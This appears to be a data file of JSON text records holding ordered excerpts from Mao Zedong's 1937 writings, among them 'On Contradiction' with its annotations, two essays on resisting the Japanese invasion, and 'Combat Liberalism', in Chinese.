    {"text": "当马克思、恩格斯把这事物矛盾的法则应用到社会历史过程的研究的时候，他们看出生产力和生产关系之间的矛盾，看出剥削阶级和被剥削阶级之间的矛盾以及由于这些矛盾所产生的经济基础和政治及思想等上层建筑之间的矛盾，而这些矛盾如何不可避免地会在各种不同的阶级社会中，引出各种不同的社会革命。 马克思把这一法则应用到资本主义社会经济结构的研究的时候，他看出这一社会的基本矛盾在于生产的社会性和占有制的私人性之间的矛盾。"},
    {"text": "这个矛盾表现于在各别企业中的生产的有组织性和在全社会中的生产的无组织性之间的矛盾。 这个矛盾的阶级表现则是资产阶级和无产阶级之间的矛盾。"},
    {"text": "由于事物范围的极其广大，发展的无限性，所以，在一定场合为普遍性的东西，而在另一一定场合则变为特殊性。 反之，在一定场合为特殊性的东西，而在另一一定场合则变为普遍性。"},
    {"text": "资本主义制度所包含的生产社会化和生产资料私人占有制的矛盾，是所有有资本主义的存在和发展的各国所共有的东西，对于资本主义说来，这是矛盾的普遍性。 但是资本主义的这种矛盾，乃是一般阶级社会发展在一定历史阶段上的东西，对于一般阶级社会中的生产力和生产关系的矛盾说来，这是矛盾的特殊性。 然而，当着马克思把资本主义社会这一切矛盾的特殊性解剖出来之后，同时也就更进一步地、更充分地、更完全地把一般阶级社会中这个生产力和生产关系的矛盾的普遍性阐发出来了。"},
    {"text": "由于特殊的事物是和普遍的事物联结的，由于每一个事物内部不但包含了矛盾的特殊性，而且包含了矛盾的普遍性，普遍性即存在于特殊性之中，所以，当着我们研究一定事物的时候，就应当去发现这两方面及其互相联结，发现一事物内部的特殊性和普遍性的两方面及其互相联结，发现一事物和它以外的许多事物的互相联结。"},
    {"text": "斯大林在他的名著《论列宁主义基础》一书中说明列宁主义的历史根源的时候，他分析了列宁主义所由产生的国际环境，分析了在帝国主义条件下已经发展到极点的资本主义的诸矛盾，以及这些矛盾使无产阶级革命成为直接实践的问题，并造成了直接冲击资本主义的良好的条件。 不但如此，他又分析了为什么俄国成为列宁主义的策源地，分析了沙皇俄国当时是帝国主义一切矛盾的集合点以及俄国无产阶级所以能够成为国际的革命无产阶级的先锋队的原因。 这样，斯大林分析了帝国主义的矛盾的普遍性，说明列宁主义是帝国主义和无产阶级革命时代的马克思主义； 又分析了沙俄帝国主义在这一般矛盾中所具有的特殊性，说明俄国成了无产阶级革命理论和策略的故乡，而在这种特殊性中间就包含了矛盾的普遍性。 斯大林的这种分析，给我们提供了认识矛盾的特殊性和普遍性及其互相联结的模范。 马克思和恩格斯，同样地列宁和斯大林，他们对于应用辩证法到客观现象的研究的时候，总是指导人们不要带上任何的主观随意性，而必须从客观的实际运动所包含的具体的条件，去看出这些现象中的具体的矛盾、矛盾各方面的具体的地位以及矛盾的具体的相互关系。"},
    {"text": "我们的教条主义者因为没有这种研究态度，所以弄得一无是处。 我们必须以教条主义的失败为鉴戒，学会这种研究态度，舍此没有第二种研究法。"},
    {"text": "矛盾的普遍性和矛盾的特殊性的关系，就是矛盾的共性和个性的关系。 其共性是矛盾存在于一切过程中，并贯串于一切过程的始终，矛盾即是运动，即是事物，即是过程，也即是思想。"},
    {"text": "所以它是共性，是绝对性。 然而这种共性，即包含于一切个性之中，无个性即无共性。 假如除去一切个性，还有什么共性呢？ 因为矛盾的各各特殊，所以造成了个性。 一切个性都是有条件地暂时地存在的，所以是相对的。 这一共性个性、绝对相对的道理，是关于事物矛盾的问题的精髓，不懂得它，就等于抛弃了辩证法。"},
    {"text": "四 主要的矛盾和主要的矛盾方面 在矛盾特殊性的问题中，还有两种情形必须特别地提出来加以分析，这就是主要的矛盾和主要的矛盾方面。 在复杂的事物的发展过程中，有许多的矛盾存在，其中必有一种是主要的矛盾，由于它的存在和发展规定或影响着其他矛盾的存在和发展。"},
    {"text": "例如在资本主义社会中，无产阶级和资产阶级这两个矛盾着的力量是主要的矛盾； 其他的矛盾力量，例如，残存的封建阶级和资产阶级的矛盾，农民小资产者和资产阶级的矛盾，无产阶级和农民小资产者的矛盾，自由资产阶级和垄断资产阶级的矛盾，资产阶级的民主主义和资产阶级的法西斯主义的矛盾，资本主义国家相互间的矛盾，帝国主义和殖民地的矛盾，以及其他的矛盾，都为这个主要的矛盾力量所规定、所影响。"},
    {"text": "当着帝国主义向这种国家举行侵略战争的时候，这种国家的内部各阶级，除开一些叛国分子以外，能够暂时地团结起来举行民族战争去反对帝国主义。"},
    {"text": "这时，帝国主义和这种国家之间的矛盾成为主要的矛盾，而这种国家内部各阶级的一切矛盾（包括封建制度和人民大众之间这个主要矛盾在内），便都暂时地降到次要和服从的地位。"},
    {"text": "当着帝国主义不是用战争压迫而是用政治、经济、文化等比较温和的形式进行压迫的时候，半殖民地国家的统治阶级就会向帝国主义投降，二者结成同盟，共同压迫人民大众。 这种时候，人民大众往往采取国内战争的形式，去反对帝国主义和封建阶级的同盟，而帝国主义则往往采取间接的方式去援助半殖民地国家的反动派压迫人民，而不采取直接行动，显出了内部矛盾的特别尖锐性。"},
    {"text": "中国的辛亥革命战争，一九二四年至一九二七年的革命战争，一九二七年以后的十年土地革命战争，都有这种情形。 还有半殖民地国家各个反动的统治集团之间的内战，例如在中国的军阀战争，也属于这一类。"},
    {"text": "当着国内革命战争发展到从根本上威胁帝国主义及其走狗国内反动派的存在的时候，帝国主义就往往采取上述方法以外的方法，企图维持其统治：或者分化革命阵线的内部，或者直接出兵援助国内反动派。"},
    {"text": "这时，外国帝国主义和国内反动派完全公开地站在一个极端，人民大众则站在另一极端，成为一个主要矛盾，而规定或影响其他矛盾的发展状态。"},
    {"text": "因此，研究任何过程，如果是存在着两个以上矛盾的复杂过程的话，就要用全力找出它的主要矛盾。 捉住了这个主要矛盾，一切问题就迎刃而解了。"},
    {"text": "不能把过程中所有的矛盾平均看待，必须把它们区别为主要的和次要的两类，着重于捉住主要的矛盾，已如上述。 但是在各种矛盾之中，不论是主要的或次要的，矛盾着的两个方面，又是否可以平均看待呢？"},
    {"text": "矛盾着的两方面中，必有一方面是主要的，他方面是次要的。 其主要的方面，即所谓矛盾起主导作用的方面。 事物的性质，主要地是由取得支配地位的矛盾的主要方面所规定的。 然而这种情形不是固定的，矛盾的主要和非主要的方面互相转化着，事物的性质也就随着起变化。 在矛盾发展的一定过程或一定阶段上，主要方面属于甲方，非主要方面属于乙方； 到了另一发展阶段或另一发展过程时，就互易其位置，这是依靠事物发展中矛盾双方斗争的力量的增减程度来决定的。"},
    {"text": "由此可见，事物的性质主要地是由取得支配地位的矛盾的主要方面所规定的。 取得支配地位的矛盾的主要方面起了变化，事物的性质也就随着起变化。"},
    {"text": "在资本主义社会中，资本主义已从旧的封建主义社会时代的附庸地位，转化成了取得支配地位的力量，社会的性质也就由封建主义的变为资本主义的。 在新的资本主义社会时代，封建势力则由原来处在支配地位的力量转化为附庸的力量，随着也就逐步地归于消灭了，例如英法诸国就是如此。 随着生产力的发展，资产阶级由新的起进步作用的阶级，转化为旧的起反动作用的阶级，以至于最后被无产阶级所推翻，而转化为私有的生产资料被剥夺和失去权力的阶级，这个阶级也就要逐步归于消灭了。 人数比资产阶级多得多、并和资产阶级同时生长、但被资产阶级统治着的无产阶级，是一个新的力量，它由初期的附属于资产阶级的地位，逐步地壮大起来，成为独立的和在历史上起主导作用的阶级，以至最后夺取政权成为统治阶级。"},
    {"text": "就中国的情形来说，帝国主义处在形成半殖民地这种矛盾的主要地位，压迫中国人民，中国则由独立国变为半殖民地。 然而事情必然会变化，在双方斗争的局势中，中国人民在无产阶级领导之下所生长起来的力量必然会把中国由半殖民地变为独立国，而帝国主义则将被打倒，旧中国必然要变为新中国。 旧中国变为新中国，还包含着国内旧的封建势力和新的人民势力之间的情况的变化。 旧的封建地主阶级将被打倒，由统治者变为被统治者，这个阶级也就会要逐步归于消灭。 人民则将在无产阶级领导之下，由被统治者变为统治者。 这时，中国社会的性质就会起变化，由旧的半殖民地和半封建的社会变为新的民主的社会。"},
    {"text": "研究学问的时候，由不知到知的矛盾也是如此。 当着我们刚才开始研究马克思主义的时候，对于马克思主义的无知或知之不多的情况，和马克思主义的知识之间，互相矛盾着。 然而由于努力学习，可以由无知转化为有知，由知之不多转化为知之甚多，由对于马克思主义的盲目性改变为能够自由运用马克思主义。"},
    {"text": "诚然，生产力、实践、经济基础，一般地表现为主要的决定的作用，谁不承认这一点，谁就不是唯物论者。 然而，生产关系、理论、上层建筑这些方面，在一定条件之下，又转过来表现其为主要的决定的作用，这也是必须承认的。 当着不变更生产关系，生产力就不能发展的时候，生产关系的变更就起了主要的决定的作用。"},
    {"text": "当着某一件事情（任何事情都是一样）要做，但是还没有方针、方法、计划或政策的时候，确定方针、方法、计划或政策，也就是主要的决定的东西。"},
    {"text": "在研究矛盾特殊性的问题中，如果不研究过程中主要的矛盾和非主要的矛盾以及矛盾之主要的方面和非主要的方面这两种情形，也就是说不研究这两种矛盾情况的差别性，那就将陷入抽象的研究，不能具体地懂得矛盾的情况，因而也就不能找出解决矛盾的正确的方法。 这两种矛盾情况的差别性或特殊性，都是矛盾力量的不平衡性。"},
    {"text": "对于矛盾的各种不平衡情况的研究，对于主要的矛盾和非主要的矛盾、主要的矛盾方面和非主要的矛盾方面的研究，成为革命政党正确地决定其政治上和军事上的战略战术方针的重要方法之一，是一切共产党人都应当注意的。"},
    {"text": "五 矛盾诸方面的同一性和斗争性 在懂得了矛盾的普遍性和特殊性的问题之后，我们必须进而研究矛盾诸方面的同一性和斗争性的问题。 同一性、统一性、一致性、互相渗透、互相贯通、互相依赖（或依存）、互相联结或互相合作，这些不同的名词都是一个意思，说的是如下两种情形：第一、事物发展过程中的每一种矛盾的两个方面，各以和它对立着的方面为自己存在的前提，双方共处于一个统一体中； 第二、矛盾着的双方，依据一定的条件，各向着其相反的方面转化。"},
    {"text": "列宁说：“辩证法是这样的一种学说：它研究对立怎样能够是同一的，又怎样成为同一的（怎样变成同一的），——在怎样的条件之下它们互相转化，成为同一的，——为什么人的头脑不应当把这些对立看作死的、凝固的东西，而应当看作生动的、有条件的、可变动的、互相转化的东西。"},
    {"text": "一切过程中矛盾着的各方面，本来是互相排斥、互相斗争、互相对立的。 世界上一切事物的过程里和人们的思想里，都包含着这样带矛盾性的方面，无一例外。 单纯的过程只有一对矛盾，复杂的过程则有一对以上的矛盾。 各对矛盾之间，又互相成为矛盾。"},
    {"text": "原来矛盾着的各方面，不能孤立地存在。 假如没有和它作对的矛盾的一方，它自己这一方就失去了存在的条件。 试想一切矛盾着的事物或人们心中矛盾着的概念，任何一方面能够独立地存在吗？"},
    {"text": "一切对立的成分都是这样，因一定的条件，一面互相对立，一面又互相联结、互相贯通、互相渗透、互相依赖，这种性质，叫做同一性。 一切矛盾着的方面都因一定条件具备着不同一性，所以称为矛盾。 然而又具备着同一性，所以互相联结。 列宁所谓辩证法研究“对立怎样能够是同一的”，就是说的这种情形。"},
    {"text": "事情不是矛盾双方互相依存就完了，更重要的，还在于矛盾着的事物的互相转化。 这就是说，事物内部矛盾着的两方面，因为一定的条件而各向着和自己相反的方面转化了去，向着它的对立方面所处的地位转化了去。"},
    {"text": "曾在中国近代历史的一定阶段上起过某种积极作用的国民党，因为它的固有的阶级性和帝国主义的引诱（这些就是条件），在一九二七年以后转化为反革命，又由于中日矛盾的尖锐化和共产党的统一战线政策（这些就是条件），而被迫着赞成抗日。"},
    {"text": "我们实行过的土地革命，已经是并且还将是这样的过程，拥有土地的地主阶级转化为失掉土地的阶级，而曾经是失掉土地的农民却转化为取得土地的小私有者。"},
    {"text": "巩固无产阶级的专政或人民的专政，正是准备着取消这种专政，走到消灭任何国家制度的更高阶段去的条件。 建立和发展共产党，正是准备着消灭共产党和一切政党制度的条件。 建立共产党领导的革命军，进行革命战争，正是准备着永远消灭战争的条件。"},
    {"text": "大家知道，战争与和平是互相转化的。 战争转化为和平，例如第一次世界大战转化为战后的和平，中国的内战现在也停止了，出现了国内的和平。 和平转化为战争，例如一九二七年的国共合作转化为战争，现在的世界和平局面也可能转化为第二次世界大战。"},
    {"text": "一切矛盾着的东西，互相联系着，不但在一定条件之下共处于一个统一体中，而且在一定条件之下互相转化，这就是矛盾的同一性的全部意义。 列宁所谓“怎样成为同一的（怎样变成同一的），——在怎样的条件之下它们互相转化，成为同一的”，就是这个意思。"},
    {"text": "客观事物中矛盾着的诸方面的统一或同一性，本来不是死的、凝固的，而是生动的、有条件的、可变动的、暂时的、相对的东西，一切矛盾都依一定条件向它们的反面转化着。"},
    {"text": "只有现在的和历史上的反动的统治阶级以及为他们服务的形而上学，不是把对立的事物当作生动的、有条件的、可变动的、互相转化的东西去看，而是当作死的、凝固的东西去看，并且把这种错误的看法到处宣传，迷惑人民群众，以达其继续统治的目的。"},
    {"text": "神话中的许多变化，例如《山海经》中所说的“夸父追日” 〔27〕 ，《淮南子》中所说的“羿射九日” 〔28〕 ，《西游记》中所说的孙悟空七十二变 〔29〕 和《聊斋志异》 〔30〕 中的许多鬼狐变人的故事等等，这种神话中所说的矛盾的互相变化，乃是无数复杂的现实矛盾的互相变化对于人们所引起的一种幼稚的、想象的、主观幻想的变化，并不是具体的矛盾所表现出来的具体的变化。"},
    {"text": "” 〔31〕 这种神话中的（还有童话中的）千变万化的故事，虽然因为它们想象出人们征服自然力等等，而能够吸引人们的喜欢，并且最好的神话具有“永久的魅力” 〔32〕 （马克思），但神话并不是根据具体的矛盾之一定的条件而构成的，所以它们并不是现实之科学的反映。"},
    {"text": "为什么俄国在一九一七年二月的资产阶级民主革命和同年十月的无产阶级社会主义革命直接地联系着，而法国资产阶级革命没有直接地联系于社会主义的革命，一八七一年的巴黎公社终于失败了呢？"},
    {"text": "为什么中国的革命可以避免资本主义的前途，可以和社会主义直接联系起来，不要再走西方国家的历史老路，不要经过一个资产阶级专政的时期呢？"},
    {"text": "无论什么事物的运动都采取两种状态，相对地静止的状态和显著地变动的状态。 两种状态的运动都是由事物内部包含的两个矛盾着的因素互相斗争所引起的。"},
    {"text": "当着事物的运动在第二种状态的时候，它已由第一种状态中的数量的变化达到了某一个最高点，引起了统一物的分解，发生了性质的变化，所以显出显著地变化的面貌。"},
    {"text": "我们在日常生活中所看见的统一、团结、联合、调和、均势、相持、僵局、静止、有常、平衡、凝聚、吸引等等，都是事物处在量变状态中所显现的面貌。 而统一物的分解，团结、联合、调和、均势、相持、僵局、静止、有常、平衡、凝聚、吸引等等状态的破坏，变到相反的状态，便都是事物在质变状态中、在一种过程过渡到他种过程的变化中所显现的面貌。"},
    {"text": "前面我们曾经说，两个相反的东西中间有同一性，所以二者能够共处于一个统一体中，又能够互相转化，这是说的条件性，即是说在一定条件之下，矛盾的东西能够统一起来，又能够互相转化；"},
    {"text": "这里我们又说，矛盾的斗争贯串于过程的始终，并使一过程向着他过程转化，矛盾的斗争无所不在，所以说矛盾的斗争性是无条件的、绝对的。 有条件的相对的同一性和无条件的绝对的斗争性相结合，构成了一切事物的矛盾运动。"},
    {"text": "在人类历史中，存在着阶级的对抗，这是矛盾斗争的一种特殊的表现。 剥削阶级和被剥削阶级之间的矛盾，无论在奴隶社会也好，封建社会也好，资本主义社会也好，互相矛盾着的两阶级，长期地并存于一个社会中，它们互相斗争着，但要待两阶级的矛盾发展到了一定的阶段的时候，双方才取外部对抗的形式，发展为革命。"},
    {"text": "它使我们懂得，在阶级社会中，革命和革命战争是不可避免的，舍此不能完成社会发展的飞跃，不能推翻反动的统治阶级，而使人民获得政权。 共产党人必须揭露反动派所谓社会革命是不必要的和不可能的等等欺骗的宣传，坚持马克思列宁主义的社会革命论，使人民懂得，这不但是完全必要的，而且是完全可能的，整个人类的历史和苏联的胜利，都证明了这个科学的真理。"},
    {"text": "矛盾和斗争是普遍的、绝对的，但是解决矛盾的方法，即斗争的形式，则因矛盾的性质不同而不相同。 有些矛盾具有公开的对抗性，有些矛盾则不是这样。 根据事物的具体发展，有些矛盾是由原来还非对抗性的，而发展成为对抗性的； 也有些矛盾则由原来是对抗性的，而发展成为非对抗性的。"},
    {"text": "苏联共产党的历史告诉我们：列宁、斯大林的正确思想和托洛茨基、布哈林等人的错误思想的矛盾，在开始的时候还没有表现为对抗的形式，但随后就发展为对抗的了。"},
    {"text": "我们党内许多同志的正确思想和陈独秀、张国焘 〔36〕 等人的错误思想的矛盾，在开始的时候也没有表现为对抗的形式，但随后就发展为对抗的了。 目前我们党内的正确思想和错误思想的矛盾，没有表现为对抗的形式，如果犯错误的同志能够改正自己的错误，那就不会发展为对抗性的东西。"},
    {"text": "经济上城市和乡村的矛盾，在资本主义社会里面（那里资产阶级统治的城市残酷地掠夺乡村），在中国的国民党统治区域里面（那里外国帝国主义和本国买办大资产阶级所统治的城市极野蛮地掠夺乡村），那是极其对抗的矛盾。"},
    {"text": "按照辩证唯物论的观点看来，矛盾存在于一切客观事物和主观思维的过程中，矛盾贯串于一切过程的始终，这是矛盾的普遍性和绝对性。 矛盾着的事物及其每一个侧面各有其特点，这是矛盾的特殊性和相对性。 矛盾着的事物依一定的条件有同一性，因此能够共居于一个统一体中，又能够互相转化到相反的方面去，这又是矛盾的特殊性和相对性。 然而矛盾的斗争则是不断的，不管在它们共居的时候，或者在它们互相转化的时候，都有斗争的存在，尤其是在它们互相转化的时候，斗争的表现更为显著，这又是矛盾的普遍性和绝对性。 当着我们研究矛盾的特殊性和相对性的时候，要注意矛盾和矛盾方面的主要的和非主要的区别； 当着我们研究矛盾的普遍性和斗争性的时候，要注意矛盾的各种不同的斗争形式的区别。"},
    {"text": "注 释 * 这篇哲学论文，是毛泽东继《实践论》之后，为了同一的目的，即为了克服存在于中国共产党内的严重的教条主义思想而写的，曾在延安的抗日军事政治大学作过讲演。"},
    {"text": "〔2〕 参见列宁《谈谈辩证法问题》：“统一物之分为两个部分以及对它的矛盾着的部分的认识……，是辩证法的实质（是辩证法的‘本质’之一，是它的基本的特点或特征之一，甚至可说是它的最基本的特点或特征）。 ”并参见《黑格尔〈逻辑学〉一书摘要》中关于“辩证法的要素”部分：“可以把辩证法简要地规定为关于对立面的统一的学说。"},
    {"text": "其中第二段“高等数学的主要基础之一，就是矛盾……”，《反杜林论》中的原文是：“我们已经提到，高等数学的主要基础之一是这样一个矛盾：在一定条件下直线和曲线应当是一回事。"},
    {"text": "”（《马克思恩格斯选集》第3卷，人民出版社1972年版，第160—161页） 〔9〕 见列宁《谈谈辩证法问题》（《列宁全集》第55卷，人民出版社1990年版，第305—306页）。 〔10〕 见列宁《谈谈辩证法问题》（《列宁全集》第55卷，人民出版社1990年版，第307页）。"},
    {"text": "〔18〕 见本卷《论反对日本帝国主义的策略》注〔5〕。 〔19〕 参见本卷《关于蒋介石声明的声明》注〔1〕。 〔20〕 见本卷《中国革命战争的战略问题》注〔4〕。 〔21〕 见本卷《论反对日本帝国主义的策略》注〔35〕。"},
    {"text": "一八九五年，清朝政府和日本订立了可耻的马关条约，这个条约的主要内容是：中国割让台湾全岛及所有附属各岛屿、澎湖列岛和辽东半岛（后来在俄、德、法三国干涉下，日本同意由清政府偿付白银三千万两“赎还”该半岛），赔偿军费银二万万两，允许日本人在中国通商口岸开设工厂，开辟沙市、重庆、苏州、杭州等地为商埠。"},
    {"text": "〔25〕 见列宁《俄国社会民主党人的任务》（《列宁全集》第2卷，人民出版社1984年版，第443页）； 并见列宁《怎么办？ 》第一章第四节（《列宁全集》第6卷，人民出版社1986年版，第23页）。 〔26〕 见列宁《黑格尔〈逻辑学〉一书摘要》。"},
    {"text": "新的译文是：“辩证法是一种学说，它研究对立面怎样才能够同一，是怎样（怎样成为）同一的——在什么条件下它们是相互转化而同一的，——为什么人的头脑不应该把这些对立面看作僵死的、凝固的东西，而应该看作活生生的、有条件的、活动的、彼此转化的东西。"},
    {"text": "〔31〕 见马克思《〈政治经济学批判〉导言》（《马克思恩格斯选集》第2卷，人民出版社1972年版，第113页）。 〔32〕 见马克思《〈政治经济学批判〉导言》（《马克思恩格斯选集》第2卷，人民出版社1972年版，第114页）。 〔33〕 见列宁《谈谈辩证法问题》。"},
    {"text": "”（《列宁全集》第55卷，人民出版社1990年版，第306页） 〔34〕 见东汉著名史学家班固（三二——九二）所著《汉书·艺文志》，原文是：“诸子十家，其可观者，九家而已。"},
    {"text": "”（《列宁全集》第55卷，人民出版社1990年版，第307页） 〔36〕 见本卷《论反对日本帝国主义的策略》注〔24〕。 〔37〕 见列宁《在尼·布哈林〈过渡时期经济学〉一书上作的批注和评论》。"},
    {"text": "反对日本进攻的方针、办法和前途 反对日本进攻的方针、 办法和前途 * （一九三七年七月二十三日） 一 两种方针 中国共产党中央委员会于卢沟桥事变 〔1〕 的第二日，七月八日，向全国发表了号召抗战的宣言。"},
    {"text": "第二十九军的全体爱国将士团结起来，反对妥协退让，实行坚决抗战！ 平津和华北的全体爱国同胞团结起来，反对妥协退让，拥护坚决抗战！ 全国爱国同胞团结起来，反对妥协退让，拥护坚决抗战！ 蒋介石先生和全体爱国的国民党员们，希望你们坚持自己的方针，实践自己的诺言，反对妥协退让，实行坚决抗战，以事实回答敌人的侮辱。 全国军队包括红军在内，拥护蒋介石先生的宣言，反对妥协退让，实行坚决抗战！ 共产党人一心一德，忠实执行自己的宣言，同时坚决拥护蒋介石先生的宣言，愿同国民党人和全国同胞一道为保卫国土流最后一滴血，反对一切游移、动摇、妥协、退让，实行坚决的抗战。"},
    {"text": "动员我们的二百几十万常备军，包括陆海空军在内，包括中央军、地方军、红军在内，其主力立即出动开到国防线上去，其一部分留在后方维持治安。"},
    {"text": "开放爱国运动，释放政治犯，取消《危害民国紧急治罪法》 〔3〕 和《新闻检查条例》 〔4〕 ，承认现有爱国团体的合法地位，扩大爱国团体的组织于工农商学各界，武装民众实行自卫，并配合军队作战。"},
    {"text": "苛捐杂税的取消，地租的减少，高利贷的限制，工人待遇的改善，士兵和下级军官的生活的改善，小职员的生活的改善，灾荒的救济：从这些起码之点做起。"},
    {"text": "（七）抗日的财政经济政策。 财政政策放在有钱出钱和没收日本帝国主义者和汉奸的财产的原则上，经济政策放在抵制日货和提倡国货的原则上，一切为了抗日。"},
    {"text": "坚决抗战的方针，必须随之以这一套办法，否则抗战就不可能胜利，日本永在侵略中国，中国永无奈日本何，而且难免做阿比西尼亚。 对坚决抗战方针有诚意的人，一定要实行这一套办法。 试验坚决抗战有诚意与否，看他肯采取并实行这一套办法与否。"},
    {"text": "这是由于全国人民的压力，同时也由于日本帝国主义的行动已严重地打击了英美帝国主义在中国的利益和蒋介石所直接代表的大地主大资产阶级的利益。"},
    {"text": "蒋介石在整个抗日战争时期，完全背叛了他在庐山谈话中所谓“如果战端一开，那就地无分南北，人无分老幼，无论何人皆有守土抗战之责任”的声明，反对人民总动员的全面的人民战争，从一九三八年十月武汉失守以后，更采取消极抗日积极反共反人民的反动政策。"},
    {"text": "按该法的规定，凡从事反对国民党政权的革命活动者处死刑； 凡与革命活动发生联系的或以文字图书演说方式进行革命宣传者处死刑、无期徒刑或十年以上有期徒刑； 凡组织进步文化团体、集会宣传反法西斯主义者处五年以上十五年以下有期徒刑等。"},
    {"text": "〔4〕 《新闻检查条例》，指国民党为压制人民言论自由于一九三三年一月十九日制定的《新闻检查标准》，同年十月五日又作了补充规定。 《新闻检查标准》规定，在国民党统治区报刊上发表的任何文字，都要在刊出以前，将稿件送交国民党新闻检查官检查。"},
    {"text": "为动员一切力量争取抗战胜利而斗争 为动员一切力量 争取抗战胜利而斗争 * （一九三七年八月二十五日） （甲）七月七日卢沟桥事变，是日本帝国主义大举进攻中国本部的开始。 卢沟桥中国军队的抗战，是中国全国性抗战的开始。 由于日寇无底止的进攻，全国人民的坚决斗争，民族资产阶级的倾向抗日，中国共产党抗日民族统一战线政策的努力提倡、坚决实行和取得全国的赞助，使得“九一八” 〔1〕 以来中国统治当局的对日不抵抗政策，在卢沟桥事变后开始转变到实行抗战的政策，使得一二九运动 〔2〕 以来中国革命发展的形势，由停止内战准备抗战的阶段，过渡到了实行抗战的阶段。"},
    {"text": "以西安事变 〔3〕 和国民党三中全会 〔4〕 为起点的国民党政策上的开始转变，以及蒋介石先生七月十七日在庐山关于抗日的谈话，和他在国防上的许多措施，是值得赞许的。"},
    {"text": "（乙）但在另一方面，在七月七日卢沟桥事变以后，国民党当局又依然继续其“九一八”以来所实行的错误政策，进行了妥协和让步 〔5〕 ，压制了爱国军队的积极性，压制了爱国人民的救国运动。"},
    {"text": "日本帝国主义在夺取平津之后，依靠其野蛮的武力，借助德意帝国主义的声援，利用英帝国主义的动摇，利用中国国民党对于广大劳动民众的隔离，毫无疑义将继续坚持其大规模进攻的方针，实行第二步、第三步的预定的作战计划，向着整个华北及其他各地作猛烈的进攻。"},
    {"text": "为了挽救祖国的危亡，抵御强寇的进攻，保卫华北和沿海，收复平津和东北，全国人民和国民党当局必须深切地认识东北平津丧失的教训，认识阿比西尼亚亡国的覆辙 〔7〕 ，认识苏联过去战胜外敌的历史 〔8〕 ，认识西班牙现在胜利地保卫马德里 〔9〕 的经验，坚固地团结起来，为保卫祖国而作战到底。"},
    {"text": "然而国民党政策在发动民众和改革政治等问题上依然没有什么转变，对人民抗日运动基本上依然不肯开放，对政府机构依然不愿作原则的改变，对人民生活依然没有改良的方针，对共产党关系也没有进到真诚合作的程度。"},
    {"text": "然而要实现全面的民族抗战，必须国民党政策有全部的和彻底的转变，必须全国上下共同实行一个彻底抗日的纲领，这就是根据第一次国共合作时孙中山先生所手订的革命的三民主义和三大政策的精神而提出的救国纲领。 （丙）中国共产党以满腔的热忱向中国国民党、全国人民、全国各党各派各界各军提出彻底战胜日寇的十大救国纲领。"},
    {"text": "十大救国纲领如下： 一、打倒日本帝国主义： 对日绝交，驱逐日本官吏，逮捕日本侦探，没收日本在华财产，否认对日债务，废除与日本签订的条约，收回一切日本租界。"},
    {"text": "全中国人民动员起来，武装起来，参加抗战，实行有力出力，有钱出钱，有枪出枪，有知识出知识。 动员蒙民、回民及其他少数民族，在民族自决和自治的原则下，共同抗日。"},
    {"text": "政府必须和人民团结起来，恢复孙中山先生的全部革命精神，实行上述的十大纲领，争取抗日战争的彻底胜利。 中国共产党及其所领导的民众和武装力量，决本上述纲领，站在抗日的最前线，为保卫祖国流最后一滴血。 中国共产党在自己一贯的方针下愿意和中国国民党及全国其他党派，站在一条战线上，手携手地团结起来，组成民族统一战线的坚固长城，战胜万恶的日寇，为独立自由幸福的新中国而斗争。"},
    {"text": "〔1〕 见本书第一卷《论反对日本帝国主义的策略》注〔4〕。 〔2〕 见本书第一卷《论反对日本帝国主义的策略》注〔8〕。 〔3〕 参见本书第一卷《关于蒋介石声明的声明》注〔1〕。 〔4〕 见本书第一卷《中国共产党在抗日时期的任务》注〔11〕。 〔5〕 参见本卷《反对日本进攻的方针、办法和前途》一文题解。 〔6〕 见本书第一卷《论反对日本帝国主义的策略》注〔13〕。 〔7〕 参见本书第一卷《中国共产党在抗日时期的任务》第八节。 〔8〕 参见本书第一卷《论反对日本帝国主义的策略》注〔29〕。"},
    {"text": "反对自由主义 反对自由主义 （一九三七年九月七日） 我们主张积极的思想斗争，因为它是达到党内和革命团体内的团结使之利于战斗的武器。每个共产党员和革命分子，应该拿起这个武器。 但是自由主义取消思想斗争，主张无原则的和平，结果是腐朽庸俗的作风发生，使党和革命团体的某些组织和某些个人在政治上腐化起来。 自由主义有各种表现。 因为是熟人、同乡、同学、知心朋友、亲爱者、老同事、老部下，明知不对，也不同他们作原则上的争论，任其下去，求得和平和亲热。或者轻描淡写地说一顿，不作彻底解决，保持一团和气。结果是有害于团体，也有害于个人。这是第一种。 不负责任的背后批评，不是积极地向组织建议。当面不说，背后乱说；开会不说，会后乱说。心目中没有集体生活的原则，只有自由放任。这是第二种。 事不关己，高高挂起；明知不对，少说为佳；明哲保身，但求无过。这是第三种。 命令不服从，个人意见第一。只要组织照顾，不要组织纪律。这是第四种。 不是为了团结，为了进步，为了把事情弄好，向不正确的意见斗争和争论，而是个人攻击，闹意气，泄私愤，图报复。这是第五种。 听了不正确的议论也不争辩，甚至听了反革命分子的话也不报告，泰然处之，行若无事。这是第六种。 见群众不宣传，不鼓动，不演说，不调查，不询问，不关心其痛痒，漠然置之，忘记了自己是一个共产党员，把一个共产党员混同于一个普通的老百姓。这是第七种。 见损害群众利益的行为不愤恨，不劝告，不制止，不解释，听之任之。这是第八种。 办事不认真，无一定计划，无一定方向，敷衍了事，得过且过，做一天和尚撞一天钟。这是第九种。 自以为对革命有功，摆老资格，大事做不来，小事又不做，工作随便，学习松懈。这是第十种。 自己错了，也已经懂得，又不想改正，自己对自己采取自由主义。这是第十一种。 还可以举出一些。主要的有这十一种。 所有这些，都是自由主义的表现。 革命的集体组织中的自由主义是十分有害的。它是一种腐蚀剂，使团结涣散，关系松懈，工作消极，意见分歧。它使革命队伍失掉严密的组织和纪律，政策不能贯彻到底，党的组织和党所领导的群众发生隔离。这是一种严重的恶劣倾向。 自由主义的来源，在于小资产阶级的自私自利性，以个人利益放在第一位，革命利益放在第二位，因此产生思想上、政治上、组织上的自由主义。 自由主义者以抽象的教条看待马克思主义的原则。他们赞成马克思主义，但是不准备实行之，或不准备完全实行之，不准备拿马克思主义代替自己的自由主义。这些人，马克思主义是有的，自由主义也是有的：说的是马克思主义，行的是自由主义；对人是马克思主义，对己是自由主义。两样货色齐备，各有各的用处。这是一部分人的思想方法。 自由主义是机会主义的一种表现，是和马克思主义根本冲突的。它是消极的东西，客观上起着援助敌人的作用，因此敌人是欢迎我们内部保存自由主义的。自由主义的性质如此，革命队伍中不应该保留它的地位。 